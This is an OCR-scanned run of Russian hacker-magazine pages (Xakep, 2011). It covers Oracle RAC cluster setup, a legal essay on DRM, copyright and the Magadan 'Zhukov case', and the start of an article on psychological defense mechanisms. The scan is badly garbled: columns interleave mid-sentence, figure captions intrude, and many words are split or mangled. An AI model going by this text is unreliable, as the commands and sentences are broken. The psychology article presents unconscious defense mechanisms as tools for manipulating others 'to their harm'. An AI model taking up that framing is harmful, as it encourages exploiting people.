очередь состоит из структур памяти (SGA) и фоновых процессов. В

осуществляет разбалансировку, скорость которой задается админис­

отсутствии RAC получить доступ к базе данных может строго один

тратором. На ASM могут помещаться только файлы, относящиеся к

экземпляр.

базе данных Oracle, такие как управляющие и журнальные файлы,

Опция RAC не поставляется с Enterprise Edition и приобретается

файлы данных или резервные копии RМAN. Экземпляр базы данных

отдельно. Стоит отметить, что при этом RAC идет в составе Standard Edition, но данная редакция обладает большим количеством огра­ ничений по сравнению с Enterprise Edition, что ставит под сомнение целесообразность ее использования.

Oracle Grid Infrastructure для работы Oracle RAC требуется Oracle Clusterware (или стороннее ПО) для объединения серверов в кластер. для более гибкого управ­

ления ресурсами узлы такого кластера могут быть организованы

в пулы (с версии 1 1 g R2 поддерживается два варианта управления

- на основании политик для пулов или, В случае их отсутствия, адми­

не может взаимодействовать напрямую с файлами, которые разме­ щены на ASM. для обеспечениядоступа кданным дисковая группа

должна быть предварительно смонтирована локальным АSМ-экзем­ пляром. Oracle рекомендует использоватьАSМ в качестве решения для управления хранением данных вместо традиционных менедже­ ров томов, файловых систем или RAW-устроЙств.

Рис. з. Failoveccluster ----т-----I'u ыlc--------,г-----=--_P rivate ----:::::o--.....J.

нистратором) . Во втором релизе 11g Oracle Clusterware бьUI объеди­ нен с ASM под общим названием Oracle Grid Infrastructure, хотя оба компонента и продолжают устанавливаться по различным путям. Automatic Storage Management (ASM) - менеджер томов и файловая система, которые могут работать как в кластере, так и с single­ instance базой данных. ASM разбивает файлы на ASM Allocation Unit. Размер Allocation Unit определяется параметром AU_SIZE, который задается на уровне дисковой группы и составляет 1 , 2, 4, 8, 16, 32 или 64 МВ. Далее Allocation Units распределяются по АSМ-дискам для балансировки нагрузки или зеркалирования (рис. 4) . Избыточность может быть реализована, как средствами ASM, так и аппаратно.

18 8 81

АSМ-диски могут быть объединены в Failure Group (то есть группу ХАКЕР 03 /1 46/ 20 1 1

� 125


цена лицензии, техническая поддержка от Oracle и дополнительные пакеты, которые могут использоваться приложениями Oracle. Подготовка ОС к установке Oracle стандартна и заключается в создании пользователей и групп, задании переменных окружения и

Disk 1

параметров ядра. Параметры для конкретной версии ОС и БД можно

найти в Installation Guide, который поставляется вместе с дистрибу­ тивом. На узлах должен быть настроен доступ к внешним общим дискам, на которых будут храниться файлы базы данных и файлы Oracle Clusterware. К последним относятся votingdisk (файл, определя ющий участников кластера) и Oracle Cluster Registry (содержит конфигурационную информацию - например, какие экземпляры

Fa i l u re G ro u p 1

и сервисы запущены на конкретном узле). Рекомендуется создавать нечетное количество votingdisk. для создания и настройки ASM­

дисков желательно использовать ASMLib, которую надо установить на всех узлах: # rpm - Uvh oracleasm - support - 2 . 1 . 3 - 1 . e1 4 . x8 6_6 4 . rpm # rpm - Uvh oracleasmlib - 2 . 0 . 4 - 1 . e 1 4 . х8 6_64 . rpm # rpm - Uvh orac l easm-2 . 6 . 9 - 5 5 . 0 . 1 2 . ЕLsmр - 2 . 0 . 3 - 1 . x8 6_6 4 . rpm

Кроме интерфейса для взаимодействия с хранилищем на узлах желательно настроить три сети - Interconnect, External и Backup. Необходимо настроить IР-адресацию (вручную или с использова­ нием Oracl е GNS) и DNS дЛЯ разрешения всех имен (или только GNS ) .

Fa i l u re G ro u p 2

Вначале осуществляется установка Grid Infrastructure. для этого загружаем и распаковываем дистрибутив, затем запускаем

Disk G rou p А

установщик (рис. 5 ) . В процессе установки необходимо указать имя кластера; указать узлы, которые будут входить в кластер;

Рис. 4. дSM disk group

указать назначение сетевых интерфейсов; настроить хранилище. В конце нужно выполнить с правами root скрипты orainstRoot.sh и root.sh. Первым на всех узлах выполияется скрипт orainstRoot.sh,

Ра з вертывание Oracle RAC

причем запуск на следующем узле осуществляется только после

Рассмотрим этапы установки различных компонентов, необходимых

завершения работы скрипта на предыдущем. После выполнения

для функционирования Oracle RЛС в режиме active/active кластера с

orainstRoot.sh последовательно на каждом узле выполняется root.

двумя узлами (рис. 7). В качестве дистрибутива будем рассматривать

sh. Проверить успешность установки можно с помощью команды:

последнюю на момент написания статьи версию Oracle Database

/ u O l / gr i d / b i n / c r s c t l check c lu s t er - a l l

llg Release 2. В качестве операционной системы возьмем Oracle

Выполнив проверку, можно приступать к установке базы данных.

Enterprise Linux s. Oracle Enterprise Linux - операционная система,

для этого запускаем Oracle Universal installer (рис. б), который

базирующаяся на RedHat Enterprise Linux. Ее основные отличия -

используется и для обычной установки базы.

Рис. 5. Установка OracleGrid Infrastructure Sel ect I nstal l at i on Opt i o n

l' l' t '( '( '( v

Download Software Ul;1dates

D AT A B A S E Select any of the follolМng installation options а �Iuster

Installation Option

o Install and C onfigure

Installation Т у1;1е

о Configure Oracle Grid Infrastructure for а �tandalone Server

Cluster Configuration Install Locations Prerequisite Checks

Oracle Grid Infrastructure for

о !.!pgrade Oracle Grid Infrastructure ог Oracle A ut o m atic Storage Management о Install Oracle �rid Infrastructure Software Only

Summ ary Install Product Finish

� 1 26

ХАКЕР 0 3 / 1 46 / 2 0 1 1


Node Select i on

'х: ?f

Conflgure Sec urity Updates

Installation Option

Grid Opt ions

D ATA B A S E Select the lуре of database Installallon уои want 10 perform .

О �ingle instance dalabase installatlon

o Веа' Application Clusters database installation

l' InяаllТуре

Typical ln<tallalion

у у у

v

Prerequisile Checks SUn1 n1 агу

I I

SeleC1 nodes (in addition (о the 'оса' nоае) in t h e clUSler OМIeгe the Installer should install Oracle

МС.

� �

I

Node Nam e nooel nоое2

Inslall Product

Finish

Рис. 6. Oracle 11g R2 universal installer Кроме асtivе/асtivе-кластера в версии 1 1 g R2 существуют две

З акл ю чение

возможности для создания асtivе/раssivе-кластера. Одна из них

Oracle RЛС совместно с Oracle Grid Infrastructure позволяют

- Oracle RACOneNode. Другой вариант не требует лицензии для

реализовать разнообразные сценарии построения кластеров.

RЛС и реализуется средствами Oracle Clusterware. В этом случае

Гибкость настройки и широта возможностей компенсируются

вначале создается общее хранилище; затем устанавливается Grid

ценой такого решения.

Infrastructure, с использованием ASM_CRS и SCAN; а после этого

Решения же Мicrоsоft ограничены не только возможностями са-

на узлы устанавливается база данных в варианте Standalone. Да-

мой кластеризации, но и продуктами, которые могут работать в

лее создаются ресурсы и скрипты, которые позволяют запускать

такой среде. Хотя стоит отметить, что набор таких продуктов все

экземпляр на другом узле в случае недоступности первого.

равно шире, чем одна база данных. ::х::

Рис. 7. Oracle RAC с двумя узлами

г------

-

I Oracle RAC

I

1- - - - - I I

Oracle Clusterware

-

-

-

I I I

t----Automatic Storage Management

-

I

I

:

-

-1 ЭК3емпляр 5GA

ФОНО8Ы n poцe�ы

ЭК3емпляр 5GA

Фоновые процеcn.

I I I I

-t

I I

I

I

I

I

I

ХАКЕР 03 / 1 46/ 2 0 1 1

� 1 27


• • Н , Н ,Федотов.

гл. а н а л и т и к к о м п а н и и

Infоwзtсh

I

Копиле фт наносит ответныи удар .....

С о вре м енн ы е тенден ц ии защ ит ы автор с ко г о пр ава в ко нтексте «Дела Жукова»

Дело Жукова (оно же «Магаданское дело») - это первая, обреченная н а увядание поп ытка п оставить барьер необоснованному расширению коп ирайта .

З а что во юют?

Как известно, авторское право (и даже шире - право интеллек­

Куда дует ветер

С момента введения понятия « авторское право» полномочия

туальной собственности) есть временная монополия, искус­

правообладателей постоянно расширялись. Взять хотя бы срок

ственно введенная ради развития наук и искусств. Обычное

охраны произведения. Сначала дарованная авторам монополия

право собственности (так называемая вещная собственность)

длилась четырнадцать лет, затем была увеличена до тридцати,

известно столько, сколько существует цивилизация.

пятидесяти, потом ее сделали пожизненной, затем продлили

Его не выдумывали и не вводили указом. Вещная собственность

еще на двадцать, тридцать, пятьдесят лет. Ныне авторское

- так называемое естественное право, то есть, оно возника-

право охраняет произведение весь срок жизни автора плюс

ет стихийно и в обязательном порядке везде, где появляется

пятьдесят лет в Европе. А в США, России и некоторых других

человеческая цивилизация. Не будем сейчас останавливаться

странах - весь срок жизни плюс семьдесят лет. Идут разговоры

не механизме (как именно чувство собственности завязано на

и о дальнейшем продлении.

инстинкты приматов), просто отметим, что вещная собствен­

Также постоянно расширяется объем прав правообладателя,

ность - естественна, прошита в мозгу «на аппаратном уровне».

перечень видов использования, которые он вправе разрешать и

А интеллектуальная собственность - искусственна, базиру­

запрещать. А случаи свободного использования произведений

ется лишь на государственном принуждении. Первые робкие

(цитирование, использование в личных целях, во имя обще­

намеки на нее появились в ХУI веке, в качестве полноценного

ственных интересов и тому подобное) - напротив, сужаются и

института она введена лишь в XIX, а в большинстве стран - и

обставляются новыми условиями.

вовсе в хх веке.

Изначальный компромисс и баланс интересов авторов, пос­

Неудивительно, что в сознании людей интеллектуальная собс­

редников и общества давно потерян. Явный перекос законов в

твенность (в частности, авторское право) не находит аппарат­

пользу посредников уже не способствует, а препятствует техни­

ной поддержки и до сих пор выглядит непривычно. Она закреп­

ческому прогрессу и художественному творчеству.

лена в законах всех стран, но еще не внедрилась в мораль.

Ничего удивительного в том, что закон катится лишь в одну

Для вещной собственности характерен обратный путь: от

сторону - ветер дует в единственном направлении. Интересы

морали к закону. Сначала люди неосознанно защищали

главных правообладателей - богатейших транснациональных

«свое" , затем возникли религиозно-моральные запреты н а

корпораций - лоббируются на доходы от их интеллектуаль­

хищение чужого, и лишь п о т о м человечество придумало т а ­

ной собственности. А интересы другой стороны лоббировать

к у ю технологию, как писаный з а к о н и закрепило в нем давно

некому и не на что. Потребители произведений разобщены

сложившийся принцип «не укради». Авторское право сначала

и не имеют финансовых потоков, которые можно было бы

придумали законодатели, вписали в кодексы и лишь потом

задействовать. А для политической партии интеллектуальная

озаботились объяснить простым людям, почему нехорошо

собственность - слишком мелкая проблема, чтобы строить на

заимствовать тексты и музыку. Авторское право с самого

ней выборную стратегию. Да и осознание публикой своих инте­

начала рассматривалось как «вынужденное зло», как комп­

ресов в области авторского права идет крайне медленно, если

ромисс между интересами авторов, посредников и о б щества

вообще идет: пропаганда оплачивается лишь « той» стороной.

ради материальной поддержки творчества, но не в ущерб культуре и науке в цело м .

ТС3АП как оружие

Внедрение авторского права в мораль идет с трудом. Но идет

Одним из нововведений в институт авторского права является

неуклонно. Очень помогает подмена понятий: нарушение прав

охрана законом технических средств защиты авторских прав

интеллектуальной собственности пропагандисты именуют

(ТСЗАП) , также известных под именем ORМ (Digital Rights

«кражей» И «воровством», проводя несуществующие параллели

Мапаgеmепt - управление [авторскими] права ми в цифровой

и пытаясь найти опору в древних инстинктах.

форме) . ТСЗАП вовсе не обязаны реально препятствовать не-

� 128

ХАКЕР 03 / 1 4 6 / 20 1 1


I I

правомерному использованию произведений. Ключ активации,

зователя, которые разрешены в силу закона, эти запреты тоже за­

привязка к CD, словесное предупреждение, обфускация кода,

прещено преодолевать (до 4 октября 2010 года было разрешено,

отключение пункта меню «save as» - все это виды ТСЗАП. Доста­

однако последние поправки в ГК убрали этот атавизм свободы) .

точно обозначить запреты. Они похожи не на замок, а на печать: преодолеть несложно, однако чревато наказанием. В отношении ТСЗАП запрещено не только применение, но вообще все, что

О ртогонал ь ные пра в а

Тем не менее, ТСЗАП не всегда действуют верно. Кроме права

законодатель смог вспомнить: «изготовление, распространение,

интеллектуальной собственности есть и иные отрасли - ин­

сдача в про кат, предоставление во временное безвозмездное

фopMaциoHHoe право, в частности. Отрасли эти ортогональны,

пользование, импорт, реклама» (ст. 1299 ГК) . Даже если ТСЗАП

отношения в каждой из них регулируются независимо (см .

«превышают полномочия» И препятствуют тем действиям поль-

таблицу) .

ХАКЕР 03 11 46/ 1 0 1 1

� 1 29


Описанный случай с Sопу BMG российская Фемида предпочла не заметить: хлопот много, выгоды никакой, да и потерпевшие Иногда занонная защита своих интересов может нарушать права иных лиц в другой об­ ласти. Применение ТСЗАП всегда законно с точки зрения АП. Однако в другом измерении (права на информацию) они могут преступить черту.

заявлений не писали. Но в «Магаданском деле» заинтересованные лица нашлись.

Самый наглый

АВТОРСКОЕ ПРАВО

Фабулу « Магаданского дела» ты, очевидно, помнишь. Средства защиты авторских прав, которые избрал подсудимый Жуков, не только защищали его программу от неразрешенного использо­ вания (за пределами срока действия лицензионного договора), но и блокировали информацию пользователя - бухгалтерские данные. Обвинение и защита спорят относительно этого «блокирова­ ния». Ситуация действительно неоднозначная. С одной стороны, отключение некоторых функций бухгалтерской программы

- НЕЗАКОННО

+

ЗАКОННО

препятствует доступу к ранее введенным данным пользователя. С другой стороны, данные эти никуда не деваются, лежат на диске в dbf-файлах и могут быть прочитаны иными программа­ ми. С одной стороны, за пределами оплаченного срока лицензии автор пользователю ничего не должен, ничего не обещал и даже

Правообладатели, вдохновленные государственной защитой их

заранее предупредил об окончании сроков. С другой стороны, ра­

интересов, порою забываются и превышают даже те широчай­

зобрать DBF, найти нужные поля и извлечь оттуда свою информа­

шие полномочия, которые расстелил перед ними законодатель.

цию - задача непосильная для бухгалтера, она и айтишнику-то

Те же ТСЗАП вполне могут оказаться вредоносными программа­

под силу чисто теоретически, на практике будет дешевле собрать

ми. Понятие «вредоносная программа» (ст. 273 УК) сформулиро­

и ввести все данные с чистого листа. Обвинение признало такие

вано целиком и полностью в терминах информационного права,

действия «блокированием», а программу - вредоносной.

к авторскому не имеет отношения, поэтому статус ТС3АП и

Независимо от того, поддержат ли приговор в более высоких инс­

статус вредоносной программы для какого-либо ПО независимы

танциях или нет, правообладателям дан сигнал: не зарывайтесь!

и вполне сочетаемы. Однако совмещались они редко.

Цель не оправдывает средства. Защищая свои права, не посягайте

Для начала следует вспомнить скандал с DRМ-системой ХСР

на права пользователя.

фирмы Sопу BMG . Для контроля использования фонограмм,

Конечно, программист-одиночка из Магадана - это вам не

распространяемых на компакт-дисках, при помещении диска в

транснациональная корпорация, на которую наехать не хватит

привод автоматически запускалась про грамма «защиты», кото­

духу у низового суда. Даже у Верховного - вряд ли. Классик

рая через использование уязвимости ОС получала права адми­

русской поэзии про этот случай писал: «Но есть и Божий суд,

нистратора (да-да, типичный руткит) , прописывалась в реестре

наперсники разврата !». Юристы верующие и юристы-атеисты по­

и начинала «контролировать» свою музыку. Защита авторских

нимают, что решения судов бывают основаны не на законе, а оп­

прав - хорошо и правильно, но такая благородная цель не оп­

ределены иными соображениями, но как квалифицируется дело

равдывает любые средства. Средства не должны нарушать иных

«по гамбургскому счету», они видят. А по нему-то программист

норм, в частности, норм о защите информации. Пользователь

явно переборщил со своей «защитой», парализовав деятельность

имеет право на безопасное пользование своим компьютером,

бухгалтерий целого ряда предприятий. Созданная при этом обще­

каналами связи и на сохранность своей собственной информа­

ственная опасность заведомо превышает предотвращенную.

ции, каковые права защищает 2 8 глава УК (ст. 272-274) .

Положительный пример, который здесь можно припомнить, -

ТСЗДП: юридическая квадратура технического круга

ОК

Н апоминание «технарей»

Претензии к ТСЗДП

� 1 30

Ограничение ТСЗДП

Действия, разрешенные правообладателем

Действия, разрешенные в силу закона

Х А К Е Р 03 / 1 46 / 2 0 1 1


ОПD�Аелен ие вредо н осн ой программы

внешнеторговом балансе. А радикальное сокращение охраны, за которое ратуют некоторые правозащитники, привело бы к па­ дению доходов в разы. Например, США импортируют множество натуральных ресурсов, а экспортируют в основном виртуальные:

Каноническое определе н и е вредоносной п рограм м ы [ст. 273 УК) : Вредоносная п рогра мма - п рограмма дЛЯ Э В М , за ведомо п р и водящая к несанкци о н и рованному ун ичтоже н и ю , блокирова­ нию, модифи ка ц и и либо коп и рова н и ю информа ц и и , наруше н и ю работы Э В М , систем ы Э В М или их сети . Развернутое оп редел е н и е вредоносной п рогра м м ы : В р едоносной следует считать программу дЛЯ Э В М , объекти в н ы м свойством которой я вл я ется ее способность осуществлять не­ разреше н н ы е обладателем и нформации уничтожение, блокиро­ вание, модифи кацию либо коп и рова н и е этой и нформации или неразрешенные о п ератором информационной системы н а руше­ ния работы этой информационной систе м ы [ Э В М , системы Э В М и л и их сети ) , п р и ч е м те и другие действия - без участия [то есть без явной или неявной команды) в ы ш еуказанных субъектов.

капитал, доллары, услуги, авторские права, патенты. Сокраще­ ние тех же сроков охраны сразу приведет к недополучению мил­ лиардов долларов. Бюджет США, и без того сильнодефицитный, может этого не выдержать. Интеллектуальная собственность, в отличие от вещной, требует весьма специфической охраны. Чтоб защитить материальный объект, достаточно установить нужный режим (физический и правовой) там, где локализован объект. Например, запереть дверь, посадить сторожа. А чтобы защитить свою интеллектуаль­ ную собственность, требуется установить одинаковые законы во всем мире. Это требует мирового господства. И весьма затратно. Затраты надо окупать, следовательно, ужесточать охрану, рас­ пространять ее на все новые и новые области, в которых у стра­ ны-гегемона производство превышает потребление. Например, на селекционные достижения и достижения генной инженерии, что и было недавно сделано.

поведение ТСЗАП программ шифрования типа PGPdisk. После

А «украсть» чужую интеллектуальную собственность несрав­

истечения срока разрешенного использования они предоставля­

ненно проще, чем похитить собственность обычную. Для этого

ют доступ к зашифрованным данным в режиме «только чтение» .

не нужно вторгаться на чужую территорию и нарушать чужие

Этого достаточно, чтобы продолжать работу с любыми старыми

законы. Достаточно снять охрану на собственной территории, по

данными. А также сохранять новые, но уже без шифрования. Ни­

собственным суверенным законам. И пожалуйста - деньги наши

каким «блокированием» чужой информации при таком раскладе

больше не ваши. Именно поэтому государственный суверени­

даже не пахнет.

тет несовместим с постиндустриальным обществом. Именно

До победн ого конца На сегодняшний день не видно предпосылок, чтобы ситуация

поэтому местные законы - больше не внутреннее дело страны, а покушение на чужие интересы.

с авторскими правами изменилась. Указанный выше перекос

Чего надо б ояться

баланса пока не угрожает сушественным интересам общества.

«Магаданское дело» -довольно опасный прецедент. Он может

Пока негативные последствия просто накапливаются. Крупные

насторожить правообладателей, которые, разумеется, примеряют

правообладатели оказываются в заложниках созданной ими же

на себя роль Жукова. Сегодня осудили программиста-одиночку, а

ситуации. Чтобы не допустить снижения финансовых потоков,

завтра - заведут дело на солидную фирму. И, возможно, запретят

они просят власть вводить новые и новые ограничения для поль­

применять некоторые виды ТСЗАП. Это снизит собираем ость

зователей, продлевать сроки охраны, ужесточать наказания для

лицензионных платежей. Доходы окажутся под угрозой.

нарушителей. Слезть с иглы монополии почти невозможно. Мо­

Подобный ход рассуждений ведет к тому, что влиятельные пра­

нопольные сверхдоходы неизбежно поддерживают государствен­

вообладатели станут добиваться иммунитета от 273- й статьи ­

ную охрану монополии, а та, в свою очередь, еще увеличивает

права применять такие технические средства защиты, какие им

монопольную прибыль. Прибыль правообладателей со временем

захочется. И баланс интересов авторов, посредников и общества

перестает зависеть от общественной пользы и выпадает из ры­

еще больше перекосится.

ночных отношений. Правообладатели неизбежно скатываются от

И другой вывод из «Магаданского дела», который должны сделать

полезной общественной роли к паразитическоЙ.

для себя программисты, таков: ни один, даже самый мелкий, про­

Однако в зависимость от защиты интеллектуальной собственнос­

ект сейчас не обойдется без юриста. Технарю почти невозможно

ти попадают не только корпорации, но и государства. Те, которые

самостоятельно защитить свои права, не задев при этом чужие.

этой интеллектуальной собственности больше производят, чем

Шаг вправо - виновен, шаг влево - обворован. А единственная

потребляют. Малейшее ослабление защиты сразу сказывается на

законная тропинка - узенькая и, чего греха таить, кривоватая. I

Разные термины разграничивают разные отрасли права. Смешение терминов - это попытка натянуть неприменимые законы . Например. невозможно украсть произведение. но только нарушить авторские права на него. У и нформации не бывает владельца. но только обладатель. Невозможно запатентовать информацию. П еречисленные пары терминов неприложимы друг к другу. Собственность

Интеллектуальная собственность

Информационное право

Владелец

Правообладатель

Обладатель

Произведение

Информация

Нарушение авторских прав, нарушение патентных прав, нарушение прав на товарный знак

Нарушение прав на информацию, разглашение, неправомер­ ный доступ

Хищение, кража, грабеж, мошенничество ХАКЕР 03 1 1 46/ 1 0 1 1

� 131


8.)�iiе.

Оксана «Oriyana» Андреева oriyanalaxpsycho.ru

• •

Ф А Н Т О М Н Ы Е Н И Т И У П РА В Л Е Н И Я С О З Н А Н И Е М

Б ессознательные э фф екты и иллюзии в арсенале опытного манипулятора К ажды й искусны й манипулятор знает: чем глуб же в недрах б ессознательного спрятан психически й процесс, чем меньше знает о нем человек, тем лучше нужно его изучить, что б ы до б иться до б ровольного подчинения.

Цел ые покол е н и я и ш колы психологов, ф и н а н си ру е м ы е та к и м и м а н и пулято р а м и , ста р а ются, проводят исследов а н и я , о п ыты - и все для того, чтобы ты беспрепятстве н ­ но м о г изучать пота й н ы е ходы человече­ ской психики, и спол ьзуя и х на бла го себе и во в р ед тому, кто посмеет встать на твоем пути .

З а щитные механи змы психики

З а щитн ы й меха н и з м п с и х и ки [ З М П ) - это п роцесс, про исходя щий внутри п с и х и к и . М ы не осоз наем е го , н о он диктует с в о и правила. Е го роль, в о - п е р в ы х , за щитная [оградить соз н а н и е от болез н е н н ы х пере­ живаний, поступающих и з в н е и л и из под­ соз н а н и я ) , а во-вто рых - адапта ц и о н н а я [ п о м о ч ь н е пере гружать соз н а н и е необя­ зател ьной информацией и анализом). З М П действуют на бессознател ьном [ неосоз н а ­ ваемом) у р о в н е и и с кажают или отр и ца ют настоя щее. Допуст и м , есть неп риятное воспо м и на н и е о н е корректно п ройде нной ситуа ц и и : остал ся страх, стыд, в и н а [ п о м н е н и ю бол ь ш и н ства психологов, З М П в ключается и м ен н о в случае воздействия этих трех э м о ци й ) ; такое воспо м и н а н и е п р и ч и няет эмоционал ьную бол ь , тра в м и руя п с и х и ку. И тут на помощь п р и ходит З М П - о н помогает оградить соз н а н и е от бес­ сознател ьных тра в м и рующих п е режи в а н и й : человек л и бо оправды вает сам себя [мора­ лизация, рационал изация), либо забы вает [ вытесн е н и е , подавл е н и е ) , л ибо вообще н е п р и з н ает, что такое случилось [отр и ц а н и е ) , л и б о , л ибо, л ибо ..

� 1З2

П римити в на я ИЗQЛЯЦИЯ, УХОД в tp а Н1 ази ",

П оп ытка уйти от н а п ряжения в мечты , радужное выдуманное п ростра нство. Жи вет себе ч еловек, н и ч его из себя н е п редста в­ л я ет, н и ч е го в жизни н е добился и п о н и ­ мает, что вряд л и добьется с такой силой воли и цел еустремлен н остью .. Кон е ч н о , это п о н и м а н и е не может радовать, оно может только огорчать; а огорчаться не хоч ется .. Есть два в ыхода : - взяться за у м , собрать волю в кул а к и н ачать работать над собой; - забить н а все жизне н н ы е обстоятельства и почаще м ечтать о то м , «что бы я сделал, есл и бы был м иллионером . . Я б ы ездил на розовом кадиллаке, каждый вечер - джа­ кузи с ш а м п а н с к и м , кра с и в ы е девуш ки . Тоже вроде неплохо: и масса позитивных э м о ци й , и делать н ич е го не надо. В рекл а м е м ы ча сто види м п р едложен и е окунуться в м и р , где « розовые пони кушают радугу и какают бабоч ка м и » всего за .. « 9 9 ф р а н ков» - отл и ч н ы й фильм, п оказы ва ю щ и й , как PR и реклама и с п ол ьзуют человеческую сла ­ бость для обогаще н и я . .

. .» .

Отрицание

И ндивид отказывается осознать или п р и ­ з н ать тра в м и рующую или карди нально н о вую для него информацию. В фильмах ты н е раз видел, как человек, которому сооб­ щили о неожида нной гибел и бл и з кого ч ело­ века, отказы вался в это верить, - вот тебе проявл е н и е отр и ца н и я . Н о это х а рдовый в а р и а нт, если же брать повседн е в ность,

то ситуа ция м ожет быть та кой : девуш ка с высоким с а м о м н е н и е м заняла в конкурсе посл еднее м есто. Она будет в полной уверен ности, что п роизошла тех н и ческая ош и б ка : и н ф о р м а ц и я , кото рая конфли ктует с ее уста н о в ка м и , п росто не допускается в соз н а н и е .

Всемогущий контроль

в детстве эта особенн ость п с и х и к и безобидна и в ы гл ядит достато ч н о м и л о : м ал ы ш , з а к р ы в а я гла з а , сч итает, что во в с е м мире стало те м н о . Когда ребенок ста н о в ится взросл ы м , этот 3 М П кажется уже не та к и м з а ба в н ы м . о щуще н и е себя п р и ч и н о й всего, что п р о и сходит в о к руг, ка к следств и е - г и п ерответстве н н ость, ка к следствие - чувство в и н ы [ п отому что н е возможно контрол и ровать, тем бол е е контрол и р овать усп е ш н о , все во круг) . Распростра н е н н ы й в Рос с и и п р и м е р , хоть и не совсем ти п и ч н ы й : же н щ и н а , которую п о стоя н н о бьет п ья н ы й муж, сч итает, что о н а дел а ет что-то не та к и и з о всех сил ста ра ется быть х о р о ш е й , н о это ни к ч е му не п р и водит, поскол ьку п р и ч и н а а гр е с с и и мужа совсем в друго м . Ко н е ч н о , в с е м о гу­ щ и м контрол е м в кла ссич е с ком п о н и м а ­ н и и это н е н а з о в е ш ь , н о е с л и в н и кнуть в суть я вл е н и я , то видно, что та к и м п о в е ­ д е н и е м о н а п ытается контрол и ровать а гр е с с и ю мужа . Сочета н и е в с е м о гущего контроля с безответственн остью м ожет п о радовать н е в ы н оси м о н а р ц и с с и ч н о й л и ч н остью с тенде н ц и е й ухода от реально­ сти [ в едь реал ьн ость жестоко п о ка з ы вает, кто есть кто)

ХАКЕР 03 / 1 46/ 2 0 1 1



��e:,"� hроекциt1�KT J

М ы не раз вспо м и нали п роекцию в п р едыдущих статьях. Это п р и п и с ы в а н и е окружа ющим л юдям своих [или допол­ няющих] чувств, пе режи в а н и й , восп р и я ­ тия. Допусти м , есл и м н е с е й ч а с хорошо - я вижу вокруг счастл ив ы х и радостных л юдей , если плохо - ИЛИ они все угр ю м ы е и грустные, или зл ы е и хотят е щ е бол ьше усугубить мое плохое состо я н и е [ компле­ ментарная п роекция ] . Если у В а с и в нутр и к и п ит злость и а гресс и я , в о к ружа ю щ и х он в идит то же с а м о е , даже если и х н ет, - как раз тот случ а й , когда не з а м е ч а я б р е в н а в с в о е м глазу, види ш ь с о р и н ку в чужо м . С одной сто р о н ы , это п о в ы ша ет чувствова н и е о к ружа ю щ и х , т а к к а к п оз воляет с р а в н ить в н е ш н и е п ро я вл е н и я э м о ц и й , с другой может б ыть о ш и б о ч н ы м , та к ка к, н а п р и ­ м е р , у ч а щ е н н о е дыха н и е с в о й стве н н о н е тол ько а гресс и и , н о и вол н е н и ю , возбуж­ д е н и ю и л и т р е в о ге . Бы вает и та к, что Вася видит в П ете а грессора [поскольку у самого внутри бушует демон] и н а ч и нает утихом и р и вать е го, други м и слова м и - навязывать ему п р едполагаемую роль и реагировать соот­ ветственно на этот п ридум а н н ы й образ. В этом случае можно говорить о п роекти вной идентифика ц и и .

И нтроекци я

Н еосозна в а е м а я п о п ытка вобрать в себя ч е рты з н а ч и м ы х л и ч н осте й , п р и с в о е н и е и х в з глядов на ж и з н ь , м от и в о в , о с о б е н ­ н осте й п о в ед е н и я . О с о б е н н о х о р о ш о это в и д н о на детя х : о н и п о вто р я ют н а и б о л е е я р к и е [а и н о гда и с о в с е м н ез а м ет н ы е ] ч е рты родител е й и л и к и н о ге р ое в , п р и ­ ч е м н е н а сл едуют о с оз н а н н о [ и н а ч е это б ы л а б ы уже иденти ф и ка ц и я ] , а б е с с о з н ател ь н о дел а ют эти особе н н ости с во и м и . П очти л юб а я уста н о в ка и л и н а сл едуе м а я ф о р м а [ в ч а стност и , в о с п и та н и е ] - это и нт р о е кт, е с л и тол ь­ ко она н е о с оз н а етс я , а д е й ствует из Социальная реклама умеет ВЫЗЫВать с ве р х с о з н а н и я , то есть, если ты уже в о с п р и н и м а е ш ь е е ка к свое собств е н н о е туру, был плох и м , а с е годня он же, раз­ уб ежде н и е и л и в о о б ще н е осоз н а е ш ь да ю щ и й п о 1 к г гречки в кач естве той же п ро п а ганды - уже хор о ш и й . П р и этом в н и ка к . И м е н н о к это м у 3 М П а п елл и рует п острое н и е культа л и ч н о ст и : з везды ш оу­ каждом случ а е он восп р и н и м ается ка к отдел ьная л и ч ность, а в ч е р а ш н и е е го б и з н е с а , п о пул я р н ы е с п о ртс м е н ы и та к заслуги и л и п р о м а х и полностью н и вел и ру­ дал е е ч а сто ста н о в ятся и нтроекта м и для ютс я . Расщепл е н и е встреча ется у л юд е й , п од р а ста ю щ е го п о кол е н и я . кото р ы е н е м о гут одно в р е м е н н о соедин ить две конфли ктующих сто р о н ы в о с п р и ят и я , И М трудно п о нять, что ч е л о в е к м ожет обла­ В о с п р и ятие в ч е р н о -белом цвете : и л и дать р а з н ы м и качества м и и х а р а ктер и сти­ х о р о ш о , и л и плохо ; и л и п ра в ил ь н о , и л и ка м и - ка к субъекти в н о пол ожител ьн ы м и , н е п ра в ил ь н о . Казал о с ь б ы , т а к восп р и н и ­ м а ют в с е дети .. Н о у взросл ы х этот п одход так и субъекти в н о отр и цател ьн ы м и . Та кое разделе н и е на ч е рн о е и белое п о м о га ет встре ч а ется н ичуть не реже. Н а п р и м е р , упорядочить и с и сте м ати з и ро вать восп р и в ч е ра де путат, тол ка ю щ и й с в о ю ка ндида-

Расщепление Эго

� 1 З4

ВИНУ чyn. л и не на ровном месте н и м а е мую и нф о р м а ц и ю , пусть и отн о с и ­ тел ь н о - н о в н утри н а п ряжен и е в р е м е н н о с н и м а ется . В е д ь р а з в е с о в е сть позволит взять 1 кг гречки у плохого и лжи вого кан­ дидата в депутаты?

вытеснение (подавление)

Други м и слова м и , е го можно назвать з а б ы в а н и е м . П роизошло что-то н е п р и ­ ятное? Надо поскорее забыть [ ка к вариант - зал ить с п и ртн ы м ] , та к вроде легче ... Вот п о ч е му дети часто забывают тра в м и рую­ щие ф а кты из детства. Опасность состоит в ТО М , что «зада вленные» восп о м и н а н и я все Х А К Е Р 03 / 1 4 6 / 2 0 1 1


� i nfo

Описанные в статье за щитн ые механизмы и бессоз нател ьные эффекты психики влияют на общее вос­ п риятие окружа ющей действительности и способствуют воз­ н и кновению иллюз и й восприяти я .

� wa г n i ng

Согласно Фрейду, психика состоит из сознания и бессознательного (подсознание + сверхсо­ знание) равно вспл ывают в виде необъясн и м о й тре­ воги [факт беспокоит, но он уже « изгнан» из соз н а н и я и остается только эмоциональная реакция на н е го] и л и даже физи ческих забол е в а н и й .

Рационализация

